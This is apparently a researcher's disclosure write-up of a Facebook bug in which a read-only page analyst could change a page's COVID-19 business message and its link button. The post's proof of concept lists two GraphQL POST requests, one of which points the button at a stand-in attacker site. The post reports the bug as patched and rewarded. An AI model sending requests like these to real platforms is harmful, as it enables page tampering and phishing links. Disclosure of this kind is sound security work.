(POC) Update business fyi message as Facebook page analyst

Description / Impact

In a FB5 there is an update related to COVID-19 which allow a page to pending there customer service as a result of Coronavirus, this action require high permission to be made on behalf the page but according to my testing I observe that it ‘s possible to update business fyi message with the analyst permissions.

This behavior is unexpected since the analyst permissions is generally read-only permissions.

Proof Of Concept / Reprosteps

  • Obtain the page ID
HTTP POST /api/graphql/?av=valueObtainedFromStepOne 
Host: facebook.com
variables={"input":{"business_fyi_message_type":"POLICY_UPDATES","end_point":"settings_page_info","entry_point":"page_settings","page_id":"valueObtainedFromStepOne","actor_id":"valueObtainedFromStepOne","client_mutation_id":"4"}}&doc_id=2964825706964540
  • Display a button that links to your own URL
HTTP POST /api/graphql/?av=valueObtainedFromStepOne 
Host: facebook.com
variables={"input":{"business_fyi_link":"https://www.attackerSite.com/","end_point":"settings_page_info","entry_point":"page_settings","page_id":"ValueFromStepOne","actor_id":"ValueFromStepOne","client_mutation_id":"1"}}&doc_id=2674516042648125
  • The business fyi message has been updated as analyst.

Coronavirus (COVID-19) Update From {page name}

Due to challenges caused by coronavirus (COVID-19), we’re providing our customers with extra support and resources

Visit {URL button}

Timeline:
13/08/2020: Report Sent
Triaged By Facebook after 10 hours.
25/08/2020: Patch confirmed by Facebook
27/08/2020: $750 Bounty awarded by Facebook

Security Researcher

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store